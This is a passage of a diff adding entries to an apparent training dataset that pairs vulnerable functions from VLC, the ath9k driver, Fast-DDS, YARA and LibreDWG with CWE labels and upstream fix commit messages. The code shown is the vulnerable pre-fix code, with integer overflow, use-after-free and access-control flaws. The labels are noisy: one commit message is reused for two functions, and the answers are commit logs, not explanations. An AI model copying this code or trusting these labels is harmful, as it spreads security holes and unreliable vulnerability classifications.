frame from the input pic and load */\n        /* Increase ref count by 1 so that the picture is not freed until\n           Schro finishes with it */\n        picture_Hold( p_pic );\n\n        p_frame = CreateSchroFrameFromInputPic( p_enc, p_pic );\n        if( !p_frame )\n            return NULL;\n        schro_encoder_push_frame( p_sys->p_schro, p_frame );\n\n\n        /* store pts in a lookaside buffer, so that the same pts may\n        * be used for the picture in coded order */\n        StorePicturePTS( p_enc, p_sys->i_input_picnum, p_pic->date );\n        p_sys->i_input_picnum++;\n\n        /* store dts in a queue, so that they appear in order in\n         * coded order */\n        p_block = block_Alloc( 1 );\n        if( !p_block )\n            return NULL;\n        p_block->i_dts = p_pic->date - p_sys->i_pts_offset;\n        block_FifoPut( p_sys->p_dts_fifo, p_block );\n        p_block = NULL;\n\n        /* for field coding mode, insert an extra value into both the\n         * pts lookaside buffer and dts queue, offset to correspond\n         * to a one field delay. */\n        if( schro_encoder_setting_get_double( p_sys->p_schro, \"interlaced_coding\" ) > 0.0 ) {\n            StorePicturePTS( p_enc, p_sys->i_input_picnum, p_pic->date + p_sys->i_field_time );\n            p_sys->i_input_picnum++;\n\n            p_block = block_Alloc( 1 );\n            if( !p_block )\n                return NULL;\n            p_block->i_dts = p_pic->date - p_sys->i_pts_offset + p_sys->i_field_time;\n            block_FifoPut( p_sys->p_dts_fifo, p_block );\n            p_block = NULL;\n        }\n    }\n\n    do\n    {\n        SchroStateEnum state;\n        state = schro_encoder_wait( p_sys->p_schro );\n        switch( state )\n        {\n        case SCHRO_STATE_NEED_FRAME:\n            b_go = false;\n            break;\n        case SCHRO_STATE_AGAIN:\n            break;\n        case SCHRO_STATE_END_OF_STREAM:\n            p_sys->b_eos_pulled = 1;\n            b_go = false;\n            break;\n        case SCHRO_STATE_HAVE_BUFFER:\n        {\n            SchroBuffer *p_enc_buf;\n            uint32_t u_pic_num;\n            int i_presentation_frame;\n            p_enc_buf = schro_encoder_pull( p_sys->p_schro, &i_presentation_frame );\n            p_block = block_Alloc( p_enc_buf->length );\n            if( !p_block )\n                return NULL;\n\n            memcpy( p_block->p_buffer, p_enc_buf->data, p_enc_buf->length );\n            schro_buffer_unref( p_enc_buf );\n\n            /* Presence of a Sequence header indicates a seek point */\n            if( 0 == p_block->p_buffer[4] )\n            {\n                p_block->i_flags |= BLOCK_FLAG_TYPE_I;\n\n                if( !p_enc->fmt_out.p_extra ) {\n                    const uint8_t eos[] = { 'B','B','C','D',0x10,0,0,0,13,0,0,0,0 };\n                    uint32_t len = GetDWBE( p_block->p_buffer + 5 );\n                    /* if it hasn't been done so far, stash a copy of the\n                     * sequence header for muxers such as ogg */\n                    /* The OggDirac spec advises that a Dirac EOS DataUnit\n                     * is appended to the sequence header to allow guard\n                     * against poor streaming servers */\n                    /* XXX, should this be done using the packetizer ? */\n                    p_enc->fmt_out.p_extra = malloc( len + sizeof( eos ) );\n                    if( !p_enc->fmt_out.p_extra )\n                        return NULL;\n                    memcpy( p_enc->fmt_out.p_extra, p_block->p_buffer, len );\n                    memcpy( (uint8_t*)p_enc->fmt_out.p_extra + len, eos, sizeof( eos ) );\n                    SetDWBE( (uint8_t*)p_enc->fmt_out.p_extra + len + sizeof(eos) - 4, len );\n                    p_enc->fmt_out.i_extra = len + sizeof( eos );\n                }\n            }\n\n            if( ReadDiracPictureNumber( &u_pic_num, p_block ) ) {\n                block_t *p_dts_block = block_FifoGet( p_sys->p_dts_fifo );\n                p_block->i_dts = p_dts_block->i_dts;\n                   p_block->i_pts = GetPicturePTS( p_enc, u_pic_num );\n                block_Release( p_dts_block );\n                block_ChainAppend( &p_output_chain, p_block );\n            } else {\n                /* End of sequence */\n                block_ChainAppend( &p_output_chain, p_block );\n            }\n            break;\n        }\n        default:\n            break;\n        }\n    } while( b_go );\n\n    return p_output_chain;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-120', 'CWE-787'], 'message': 'codec: schroedinger: fix potential buffer overflow.\n\nThe variable len is a raw 32 bit value read using GetDWBE. If this\nvalue is larger than UINT32_MAX - sizeof(eos), this will cause an\ninteger overflow in the subsequent call to malloc, and finally a\nbuffer overflow when calling memcpy. We fix this by checking len\naccordingly.\n\nSigned-off-by: Jean-Baptiste Kempf '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: int ath9k_wmi_cmd(struct wmi *wmi, enum wmi_cmd_id cmd_id,\n\t\t  u8 *cmd_buf, u32 cmd_len,\n\t\t  u8 *rsp_buf, u32 rsp_len,\n\t\t  u32 timeout)\n{\n\tstruct ath_hw *ah = wmi->drv_priv->ah;\n\tstruct ath_common *common = ath9k_hw_common(ah);\n\tu16 headroom = sizeof(struct htc_frame_hdr) +\n\t\t       sizeof(struct wmi_cmd_hdr);\n\tstruct sk_buff *skb;\n\tunsigned long time_left;\n\tint ret = 0;\n\n\tif (ah->ah_flags & AH_UNPLUGGED)\n\t\treturn 0;\n\n\tskb = alloc_skb(headroom + cmd_len, GFP_ATOMIC);\n\tif (!skb)\n\t\treturn -ENOMEM;\n\n\tskb_reserve(skb, headroom);\n\n\tif (cmd_len != 0 && cmd_buf != NULL) {\n\t\tskb_put_data(skb, cmd_buf, cmd_len);\n\t}\n\n\tmutex_lock(&wmi->op_mutex);\n\n\t/* check if wmi stopped flag is set */\n\tif (unlikely(wmi->stopped)) {\n\t\tret = -EPROTO;\n\t\tgoto out;\n\t}\n\n\t/* record the rsp buffer and length */\n\twmi->cmd_rsp_buf = rsp_buf;\n\twmi->cmd_rsp_len = rsp_len;\n\n\tret = ath9k_wmi_cmd_issue(wmi, skb, cmd_id, cmd_len);\n\tif (ret)\n\t\tgoto out;\n\n\ttime_left = wait_for_completion_timeout(&wmi->cmd_wait, timeout);\n\tif (!time_left) {\n\t\tath_dbg(common, WMI, \"Timeout waiting for WMI command: %s\\n\",\n\t\t\twmi_cmd_to_name(cmd_id));\n\t\tmutex_unlock(&wmi->op_mutex);\n\t\tkfree_skb(skb);\n\t\treturn -ETIMEDOUT;\n\t}\n\n\tmutex_unlock(&wmi->op_mutex);\n\n\treturn 0;\n\nout:\n\tath_dbg(common, WMI, \"WMI failure for: %s\\n\", wmi_cmd_to_name(cmd_id));\n\tmutex_unlock(&wmi->op_mutex);\n\tkfree_skb(skb);\n\n\treturn ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-416'], 'message': 'ath9k: Fix use-after-free Read in htc_connect_service\n\nThe skb is consumed by htc_send_epid, so it needn't release again.\n\nThe case reported by syzbot:\n\nhttps://lore.kernel.org/linux-usb/000000000000590f6b05a1c05d15@google.com\nusb 1-1: ath9k_htc: Firmware ath9k_htc/htc_9271-1.4.0.fw requested\nusb 1-1: ath9k_htc: Transferred FW: ath9k_htc/htc_9271-1.4.0.fw, size:\n51008\nusb 1-1: Service connection timeout for: 256\n==================================================================\nBUG: KASAN: use-after-free in atomic_read\ninclude/asm-generic/atomic-instrumented.h:26 [inline]\nBUG: KASAN: use-after-free in refcount_read include/linux/refcount.h:134\n[inline]\nBUG: KASAN: use-after-free in skb_unref include/linux/skbuff.h:1042\n[inline]\nBUG: KASAN: use-after-free in kfree_skb+0x32/0x3d0 net/core/skbuff.c:692\nRead of size 4 at addr ffff8881d0957994 by task kworker/1:2/83\n\nCall Trace:\nkfree_skb+0x32/0x3d0 net/core/skbuff.c:692\nhtc_connect_service.cold+0xa9/0x109\ndrivers/net/wireless/ath/ath9k/htc_hst.c:282\nath9k_wmi_connect+0xd2/0x1a0 drivers/net/wireless/ath/ath9k/wmi.c:265\nath9k_init_htc_services.constprop.0+0xb4/0x650\ndrivers/net/wireless/ath/ath9k/htc_drv_init.c:146\nath9k_htc_probe_device+0x25a/0x1d80\ndrivers/net/wireless/ath/ath9k/htc_drv_init.c:959\nath9k_htc_hw_init+0x31/0x60\ndrivers/net/wireless/ath/ath9k/htc_hst.c:501\nath9k_hif_usb_firmware_cb+0x26b/0x500\ndrivers/net/wireless/ath/ath9k/hif_usb.c:1187\nrequest_firmware_work_func+0x126/0x242\ndrivers/base/firmware_loader/main.c:976\nprocess_one_work+0x94b/0x1620 kernel/workqueue.c:2264\nworker_thread+0x96/0xe20 kernel/workqueue.c:2410\nkthread+0x318/0x420 kernel/kthread.c:255\nret_from_fork+0x24/0x30 arch/x86/entry/entry_64.S:352\n\nAllocated by task 83:\nkmem_cache_alloc_node+0xdc/0x330 mm/slub.c:2814\n__alloc_skb+0xba/0x5a0 net/core/skbuff.c:198\nalloc_skb include/linux/skbuff.h:1081 [inline]\nhtc_connect_service+0x2cc/0x840\ndrivers/net/wireless/ath/ath9k/htc_hst.c:257\nath9k_wmi_connect+0xd2/0x1a0 drivers/net/wireless/ath/ath9k/wmi.c:265\nath9k_init_htc_services.constprop.0+0xb4/0x650\ndrivers/net/wireless/ath/ath9k/htc_drv_init.c:146\nath9k_htc_probe_device+0x25a/0x1d80\ndrivers/net/wireless/ath/ath9k/htc_drv_init.c:959\nath9k_htc_hw_init+0x31/0x60\ndrivers/net/wireless/ath/ath9k/htc_hst.c:501\nath9k_hif_usb_firmware_cb+0x26b/0x500\ndrivers/net/wireless/ath/ath9k/hif_usb.c:1187\nrequest_firmware_work_func+0x126/0x242\ndrivers/base/firmware_loader/main.c:976\nprocess_one_work+0x94b/0x1620 kernel/workqueue.c:2264\nworker_thread+0x96/0xe20 kernel/workqueue.c:2410\nkthread+0x318/0x420 kernel/kthread.c:255\nret_from_fork+0x24/0x30 arch/x86/entry/entry_64.S:352\n\nFreed by task 0:\nkfree_skb+0x102/0x3d0 net/core/skbuff.c:690\nath9k_htc_txcompletion_cb+0x1f8/0x2b0\ndrivers/net/wireless/ath/ath9k/htc_hst.c:356\nhif_usb_regout_cb+0x10b/0x1b0\ndrivers/net/wireless/ath/ath9k/hif_usb.c:90\n__usb_hcd_giveback_urb+0x29a/0x550 drivers/usb/core/hcd.c:1650\nusb_hcd_giveback_urb+0x368/0x420 drivers/usb/core/hcd.c:1716\ndummy_timer+0x1258/0x32ae drivers/usb/gadget/udc/dummy_hcd.c:1966\ncall_timer_fn+0x195/0x6f0 kernel/time/timer.c:1404\nexpire_timers kernel/time/timer.c:1449 [inline]\n__run_timers kernel/time/timer.c:1773 [inline]\n__run_timers kernel/time/timer.c:1740 [inline]\nrun_timer_softirq+0x5f9/0x1500 kernel/time/timer.c:1786\n__do_softirq+0x21e/0x950 kernel/softirq.c:292\n\nReported-and-tested-by: syzbot+9505af1ae303dabdc646@syzkaller.appspotmail.com\nSigned-off-by: Qiujun Huang \nSigned-off-by: Kalle Valo \nLink: https://lore.kernel.org/r/20200404041838.10426-2-hqjagain@gmail.com'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: ReturnCode_t DataReaderImpl::enable()\n{\n    assert(reader_ == nullptr);\n\n    fastrtps::rtps::ReaderAttributes att;\n\n    att.endpoint.durabilityKind = qos_.durability().durabilityKind();\n    att.endpoint.endpointKind = READER;\n    att.endpoint.multicastLocatorList = qos_.endpoint().multicast_locator_list;\n    att.endpoint.reliabilityKind = qos_.reliability().kind == RELIABLE_RELIABILITY_QOS ? RELIABLE : BEST_EFFORT;\n    att.endpoint.topicKind = type_->m_isGetKeyDefined ? WITH_KEY : NO_KEY;\n    att.endpoint.unicastLocatorList = qos_.endpoint().unicast_locator_list;\n    att.endpoint.remoteLocatorList = qos_.endpoint().remote_locator_list;\n    att.endpoint.properties = qos_.properties();\n\n    if (qos_.endpoint().entity_id > 0)\n    {\n        att.endpoint.setEntityID(static_cast(qos_.endpoint().entity_id));\n    }\n\n    if (qos_.endpoint().user_defined_id > 0)\n    {\n        att.endpoint.setUserDefinedID(static_cast(qos_.endpoint().user_defined_id));\n    }\n\n    att.times = qos_.reliable_reader_qos().times;\n    att.liveliness_lease_duration = qos_.liveliness().lease_duration;\n    att.liveliness_kind_ = qos_.liveliness().kind;\n    att.matched_writers_allocation = qos_.reader_resource_limits().matched_publisher_allocation;\n    att.expectsInlineQos = qos_.expects_inline_qos();\n    att.disable_positive_acks = qos_.reliable_reader_qos().disable_positive_ACKs.enabled;\n\n\n    // TODO(Ricardo) Remove in future\n    // Insert topic_name and partitions\n    Property property;\n    property.name(\"topic_name\");\n    property.value(topic_->get_name().c_str());\n    att.endpoint.properties.properties().push_back(std::move(property));\n    if (subscriber_->get_qos().partition().names().size() > 0)\n    {\n        property.name(\"partitions\");\n        std::string partitions;\n        for (auto partition : subscriber_->get_qos().partition().names())\n        {\n            partitions += partition + \";\";\n        }\n        property.value(std::move(partitions));\n        att.endpoint.properties.properties().push_back(std::move(property));\n    }\n\n    RTPSReader* reader = RTPSDomain::createRTPSReader(\n        subscriber_->rtps_participant(),\n        att,\n        static_cast(&history_),\n        static_cast(&reader_listener_));\n\n    if (reader == nullptr)\n    {\n        logError(DATA_READER, \"Problem creating associated Reader\");\n        return ReturnCode_t::RETCODE_ERROR;\n    }\n\n    reader_ = reader;\n\n    deadline_timer_ = new TimedEvent(subscriber_->get_participant()->get_resource_event(),\n                    [&]() -> bool\n                    {\n                        return deadline_missed();\n                    },\n                    qos_.deadline().period.to_ns() * 1e-6);\n\n    lifespan_timer_ = new TimedEvent(subscriber_->get_participant()->get_resource_event(),\n                    [&]() -> bool\n                    {\n                        return lifespan_expired();\n                    },\n                    qos_.lifespan().duration.to_ns() * 1e-6);\n\n    // Register the reader\n    ReaderQos rqos = qos_.get_readerqos(subscriber_->get_qos());\n    subscriber_->rtps_participant()->registerReader(reader_, topic_attributes(), rqos);\n\n    return ReturnCode_t::RETCODE_OK;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-284'], 'message': 'check remote permissions (#1387)\n\n* Refs 5346. Blackbox test\r\n\r\nSigned-off-by: Iker Luengo \r\n\r\n* Refs 5346. one-way string compare\r\n\r\nSigned-off-by: Iker Luengo \r\n\r\n* Refs 5346. Do not add partition separator on last partition\r\n\r\nSigned-off-by: Iker Luengo \r\n\r\n* Refs 5346. Uncrustify\r\n\r\nSigned-off-by: Iker Luengo \r\n\r\n* Refs 5346. Uncrustify\r\n\r\nSigned-off-by: Iker Luengo \r\n\r\n* Refs 3680. Access control unit testing\r\n\r\nIt only covers Partition and Topic permissions\r\n\r\nSigned-off-by: Iker Luengo \r\n\r\n* Refs #3680. Fix partition check on Permissions plugin.\r\n\r\nSigned-off-by: Iker Luengo \r\n\r\n* Refs 3680. Uncrustify\r\n\r\nSigned-off-by: Iker Luengo \r\n\r\n* Refs 3680. Fix tests on mac\r\n\r\nSigned-off-by: Iker Luengo \r\n\r\n* Refs 3680. Fix windows tests\r\n\r\nSigned-off-by: Iker Luengo \r\n\r\n* Refs 3680. Avoid memory leak on test\r\n\r\nSigned-off-by: Iker Luengo \r\n\r\n* Refs 3680. Proxy data mocks should not return temporary objects\r\n\r\nSigned-off-by: Iker Luengo \r\n\r\n* refs 3680. uncrustify\r\n\r\nSigned-off-by: Iker Luengo \r\n\r\nCo-authored-by: Miguel Company '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: bool StringMatching::matchString(const char* str1, const char* str2)\n{\n\t if(PathMatchSpec(str1,str2))\n\t\t return true;\n\t if(PathMatchSpec(str2,str1))\n\t \t return true;\n\t return false;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-284'], 'message': 'check remote permissions (#1387)\n\n* Refs 5346. Blackbox test\r\n\r\nSigned-off-by: Iker Luengo \r\n\r\n* Refs 5346. one-way string compare\r\n\r\nSigned-off-by: Iker Luengo \r\n\r\n* Refs 5346. Do not add partition separator on last partition\r\n\r\nSigned-off-by: Iker Luengo \r\n\r\n* Refs 5346. Uncrustify\r\n\r\nSigned-off-by: Iker Luengo \r\n\r\n* Refs 5346. Uncrustify\r\n\r\nSigned-off-by: Iker Luengo \r\n\r\n* Refs 3680. Access control unit testing\r\n\r\nIt only covers Partition and Topic permissions\r\n\r\nSigned-off-by: Iker Luengo \r\n\r\n* Refs #3680. Fix partition check on Permissions plugin.\r\n\r\nSigned-off-by: Iker Luengo \r\n\r\n* Refs 3680. Uncrustify\r\n\r\nSigned-off-by: Iker Luengo \r\n\r\n* Refs 3680. Fix tests on mac\r\n\r\nSigned-off-by: Iker Luengo \r\n\r\n* Refs 3680. Fix windows tests\r\n\r\nSigned-off-by: Iker Luengo \r\n\r\n* Refs 3680. Avoid memory leak on test\r\n\r\nSigned-off-by: Iker Luengo \r\n\r\n* Refs 3680. Proxy data mocks should not return temporary objects\r\n\r\nSigned-off-by: Iker Luengo \r\n\r\n* refs 3680. uncrustify\r\n\r\nSigned-off-by: Iker Luengo \r\n\r\nCo-authored-by: Miguel Company '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: int yr_re_ast_create(\n    RE_AST** re_ast)\n{\n  *re_ast = (RE_AST*) yr_malloc(sizeof(RE_AST));\n\n  if (*re_ast == NULL)\n    return ERROR_INSUFFICIENT_MEMORY;\n\n  (*re_ast)->flags = 0;\n  (*re_ast)->root_node = NULL;\n\n  return ERROR_SUCCESS;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-674', 'CWE-787'], 'message': 'Fix issue #674. Move regexp limits to limits.h.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: dwg_decode_add_object (Dwg_Data *restrict dwg, Bit_Chain *dat,\n                       Bit_Chain *hdl_dat, long unsigned int address)\n{\n  long unsigned int objpos, restartpos;\n  Bit_Chain abs_dat = { NULL };\n  unsigned char previous_bit;\n  Dwg_Object *restrict obj;\n  BITCODE_BL num = dwg->num_objects;\n  int error = 0;\n  int realloced = 0;\n\n  /* Keep the previous full chain  */\n  abs_dat = *dat;\n\n  /* Use the indicated address for the object\n   */\n  dat->byte = address;\n  dat->bit = 0;\n\n  // DEBUG_HERE;\n  /*\n   * Reserve memory space for objects. A realloc violates all internal\n   * pointers.\n   */\n  realloced = dwg_add_object (dwg);\n  if (realloced > 0)\n    {\n      *dat = abs_dat;\n      return realloced; // i.e. DWG_ERR_OUTOFMEM\n    }\n  obj = &dwg->object[num];\n  LOG_INFO (\"==========================================\\n\"\n            \"Object number: %lu/%lX\",\n            (unsigned long)num, (unsigned long)num)\n\n  obj->size = bit_read_MS (dat);\n  LOG_INFO (\", Size: %d [MS]\", obj->size)\n  SINCE (R_2010)\n  {\n    /* This is not counted in the object size */\n    obj->handlestream_size = bit_read_UMC (dat);\n    LOG_INFO (\", Hdlsize: \" FORMAT_UMC \" [UMC] \", obj->handlestream_size);\n    obj->bitsize = obj->size * 8 - obj->handlestream_size;\n    // TODO boundscheck\n  }\n\n  objpos = bit_position (dat); // absolute\n  obj->address = dat->byte;\n\n  /* Until here dat is absolute. now restrict it */\n  bit_reset_chain (dat);\n  if (obj->size > dat->size)\n    {\n      LOG_ERROR (\"\\nInvalid object size. Would overflow\");\n      *dat = abs_dat;\n      return DWG_ERR_VALUEOUTOFBOUNDS;\n    }\n  dat->size = obj->size;\n\n  SINCE (R_2010) { obj->type = bit_read_BOT (dat); }\n  else { obj->type = bit_read_BS (dat); }\n  LOG_INFO (\", Type: %d [%s]\\n\", obj->type, dat->version >= R_2010 ? \"BOT\" : \"BS\");\n  restartpos = bit_position (dat); // relative\n\n  /* Check the type of the object\n   */\n  switch (obj->type)\n    {\n    case DWG_TYPE_TEXT:\n      error = dwg_decode_TEXT (dat, obj);\n      break;\n    case DWG_TYPE_ATTRIB:\n      error = dwg_decode_ATTRIB (dat, obj);\n      break;\n    case DWG_TYPE_ATTDEF:\n      error = dwg_decode_ATTDEF (dat, obj);\n      break;\n    case DWG_TYPE_BLOCK:\n      error = dwg_decode_BLOCK (dat, obj);\n      break;\n    case DWG_TYPE_ENDBLK:\n      error = dwg_decode_ENDBLK (dat, obj);\n      break;\n    case DWG_TYPE_SEQEND:\n      error = dwg_decode_SEQEND (dat, obj);\n      if (dat->version >= R_13 && obj->tio.entity->ownerhandle)\n        {\n          Dwg_Object *restrict owner = dwg_resolve_handle (\n              dwg, obj->tio.entity->ownerhandle->absolute_ref);\n          if (!owner)\n            {\n              LOG_WARN (\"no SEQEND.ownerhandle\")\n            }\n          else if (owner->fixedtype == DWG_TYPE_INSERT\n                   || owner->fixedtype == DWG_TYPE_MINSERT)\n            {\n              /* SEQEND handle for the owner needed in validate_INSERT */\n              hash_set (dwg->object_map, obj->handle.value, (uint32_t)num);\n              (void)dwg_validate_INSERT (owner);\n            }\n          else if (owner->fixedtype == DWG_TYPE_POLYLINE_2D\n                   || owner->fixedtype == DWG_TYPE_POLYLINE_3D\n                   || owner->fixedtype == DWG_TYPE_POLYLINE_PFACE\n                   || owner->fixedtype == DWG_TYPE_POLYLINE_MESH)\n            {\n              Dwg_Entity_POLYLINE_2D *restrict _obj\n                  = owner->tio.entity->tio.POLYLINE_2D;\n              if (!_obj->seqend)\n                /* SEQEND handle for the owner needed in validate_POLYLINE */\n                hash_set (dwg->object_map, obj->handle.value, (uint32_t)num);\n              (void)dwg_validate_POLYLINE (owner);\n            }\n        }\n      break;\n    case DWG_TYPE_INSERT:\n      error = dwg_decode_INSERT (dat, obj);\n      break;\n    case DWG_TYPE_MINSERT:\n      error = dwg_decode_MINSERT (dat, obj);\n      break;\n    case DWG_TYPE_VERTEX_2D:\n      error = dwg_decode_VERTEX_2D (dat, obj);\n      break;\n    case DWG_TYPE_VERTEX_3D:\n      error = dwg_decode_VERTEX_3D (dat, obj);\n      break;\n    case DWG_TYPE_VERTEX_MESH:\n      error = dwg_decode_VERTEX_MESH (dat, obj);\n      break;\n    case DWG_TYPE_VERTEX_PFACE:\n      error = dwg_decode_VERTEX_PFACE (dat, obj);\n      break;\n    case DWG_TYPE_VERTEX_PFACE_FACE:\n      error = dwg_decode_VERTEX_PFACE_FACE (dat, obj);\n      break;\n    case DWG_TYPE_POLYLINE_2D:\n      error = dwg_decode_POLYLINE_2D (dat, obj);\n      if (dat->version >= R_2010)\n        check_POLYLINE_handles (obj);\n      break;\n    case DWG_TYPE_POLYLINE_3D:\n      error = dwg_decode_POLYLINE_3D (dat, obj);\n      if (dat->version >= R_2010)\n        check_POLYLINE_handles (obj);\n      break;\n    case DWG_TYPE_ARC:\n      error = dwg_decode_ARC (dat, obj);\n      break;\n    case DWG_TYPE_CIRCLE:\n      error = dwg_decode_CIRCLE (dat, obj);\n      break;\n    case DWG_TYPE_LINE:\n      error = dwg_decode_LINE (dat, obj);\n      break;\n    case DWG_TYPE_DIMENSION_ORDINATE:\n      error = dwg_decode_DIMENSION_ORDINATE (dat, obj);\n      break;\n    case DWG_TYPE_DIMENSION_LINEAR:\n      error = dwg_decode_DIMENSION_LINEAR (dat, obj);\n      break;\n    case DWG_TYPE_DIMENSION_ALIGNED:\n      error = dwg_decode_DIMENSION_ALIGNED (dat, obj);\n      break;\n    case DWG_TYPE_DIMENSION_ANG3PT:\n      error = dwg_decode_DIMENSION_ANG3PT (dat, obj);\n      break;\n    case DWG_TYPE_DIMENSION_ANG2LN:\n      error = dwg_decode_DIMENSION_ANG2LN (dat, obj);\n      break;\n    case DWG_TYPE_DIMENSION_RADIUS:\n      error = dwg_decode_DIMENSION_RADIUS (dat, obj);\n      break;\n    case DWG_TYPE_DIMENSION_DIAMETER:\n      error = dwg_decode_DIMENSION_DIAMETER (dat, obj);\n      break;\n    case DWG_TYPE_POINT:\n      error = dwg_decode_POINT (dat, obj);\n      break;\n    case DWG_TYPE__3DFACE:\n      error = dwg_decode__3DFACE (dat, obj);\n      break;\n    case DWG_TYPE_POLYLINE_PFACE:\n      error = dwg_decode_POLYLINE_PFACE (dat, obj);\n      if (dat->version >= R_2010)\n        check_POLYLINE_handles (obj);\n      break;\n    case DWG_TYPE_POLYLINE_MESH:\n      error = dwg_decode_POLYLINE_MESH (dat, obj);\n      if (dat->version >= R_2010)\n        check_POLYLINE_handles (obj);\n      break;\n    case DWG_TYPE_SOLID:\n      error = dwg_decode_SOLID (dat, obj);\n      break;\n    case DWG_TYPE_TRACE:\n      error = dwg_decode_TRACE (dat, obj);\n      break;\n    case DWG_TYPE_SHAPE:\n      error = dwg_decode_SHAPE (dat, obj);\n      break;\n    case DWG_TYPE_VIEWPORT:\n      error = dwg_decode_VIEWPORT (dat, obj);\n      break;\n    case DWG_TYPE_ELLIPSE:\n      error = dwg_decode_ELLIPSE (dat, obj);\n      break;\n    case DWG_TYPE_SPLINE:\n      error = dwg_decode_SPLINE (dat, obj);\n      break;\n    case DWG_TYPE_REGION:\n      error = dwg_decode_REGION (dat, obj);\n      break;\n    case DWG_TYPE__3DSOLID:\n      error = dwg_decode__3DSOLID (dat, obj);\n      break;\n    case DWG_TYPE_BODY:\n      error = dwg_decode_BODY (dat, obj);\n      break;\n    case DWG_TYPE_RAY:\n      error = dwg_decode_RAY (dat, obj);\n      break;\n    case DWG_TYPE_XLINE:\n      error = dwg_decode_XLINE (dat, obj);\n      break;\n    case DWG_TYPE_DICTIONARY:\n      error = dwg_decode_DICTIONARY (dat, obj);\n      break;\n    case DWG_TYPE_MTEXT:\n      error = dwg_decode_MTEXT (dat, obj);\n      break;\n    case DWG_TYPE_LEADER:\n      error = dwg_decode_LEADER (dat, obj);\n      break;\n    case DWG_TYPE_TOLERANCE:\n      error = dwg_decode_TOLERANCE (dat, obj);\n      break;\n    case DWG_TYPE_MLINE:\n      error = dwg_decode_MLINE (dat, obj);\n      break;\n    case DWG_TYPE_BLOCK_CONTROL:\n      error = dwg_decode_BLOCK_CONTROL (dat, obj);\n      if (!error && obj->tio.object->tio.BLOCK_CONTROL)\n        {\n          obj->tio.object->tio.BLOCK_CONTROL->objid = num;\n          if (!dwg->block_control.parent) // only once\n            dwg->block_control = *obj->tio.object->tio.BLOCK_CONTROL;\n          else\n            LOG_WARN (\"Second BLOCK_CONTROL object ignored\");\n        }\n      break;\n    case DWG_TYPE_BLOCK_HEADER:\n      error = dwg_decode_BLOCK_HEADER (dat, obj);\n      /*\n       * We cannot cache dwg->*space_block here as dwg->objects might get\n       * realloc'ed. See dwg_model_space_object() and dwg_paper_space_object()\n       * instead.\n       */\n      break;\n    case DWG_TYPE_LAYER_CONTROL:\n      error = dwg_decode_LAYER_CONTROL (dat, obj);\n      if (!error && obj->tio.object->tio.LAYER_CONTROL)\n        {\n          obj->tio.object->tio.LAYER_CONTROL->objid = num;\n          dwg->layer_control = *obj->tio.object->tio.LAYER_CONTROL;\n        }\n      break;\n    case DWG_TYPE_LAYER:\n      error = dwg_decode_LAYER (dat, obj);\n      break;\n    case DWG_TYPE_STYLE_CONTROL:\n      error = dwg_decode_STYLE_CONTROL (dat, obj);\n      if (!error && obj->tio.object->tio.STYLE_CONTROL)\n        {\n          obj->tio.object->tio.STYLE_CONTROL->objid = num;\n          dwg->style_control = *obj->tio.object->tio.STYLE_CONTROL;\n        }\n      break;\n    case DWG_TYPE_STYLE:\n      error = dwg_decode_STYLE (dat, obj);\n      break;\n    case DWG_TYPE_LTYPE_CONTROL:\n      error = dwg_decode_LTYPE_CONTROL (dat, obj);\n      if (!error && obj->tio.object->tio.LTYPE_CONTROL)\n        {\n          obj->tio.object->tio.LTYPE_CONTROL->objid = num;\n          dwg->ltype_control = *obj->tio.object->tio.LTYPE_CONTROL;\n        }\n      break;\n    case DWG_TYPE_LTYPE:\n      error = dwg_decode_LTYPE (dat, obj);\n      break;\n    case DWG_TYPE_VIEW_CONTROL:\n      error = dwg_decode_VIEW_CONTROL (dat, obj);\n      if (!error && obj->tio.object->tio.VIEW_CONTROL)\n        {\n          obj->tio.object->tio.VIEW_CONTROL->objid = num;\n          dwg->view_control = *obj->tio.object->tio.VIEW_CONTROL;\n        }\n      break;\n    case DWG_TYPE_VIEW:\n      error = dwg_decode_VIEW (dat, obj);\n      break;\n    case DWG_TYPE_UCS_CONTROL:\n      error = dwg_decode_UCS_CONTROL (dat, obj);\n      if (!error && obj->tio.object->tio.UCS_CONTROL)\n        {\n          obj->tio.object->tio.UCS_CONTROL->objid = num;\n          dwg->ucs_control = *obj->tio.object->tio.UCS_CONTROL;\n        }\n      break;\n    case DWG_TYPE_UCS:\n      error = dwg_decode_UCS (dat, obj);\n      break;\n    case DWG_TYPE_VPORT_CONTROL:\n      error = dwg_decode_VPORT_CONTROL (dat, obj);\n      if (!error && obj->tio.object->tio.VPORT_CONTROL)\n        {\n          obj->tio.object->tio.VPORT_CONTROL->objid = num;\n          dwg->vport_control = *obj->tio.object->tio.VPORT_CONTROL;\n        }\n      break;\n    case DWG_TYPE_VPORT:\n      error = dwg_decode_VPORT (dat, obj);\n      break;\n    case DWG_TYPE_APPID_CONTROL:\n      error = dwg_decode_APPID_CONTROL (dat, obj);\n      if (!error && obj->tio.object->tio.APPID_CONTROL)\n        {\n          obj->tio.object->tio.APPID_CONTROL->objid = num;\n          dwg->appid_control = *obj->tio.object->tio.APPID_CONTROL;\n        }\n      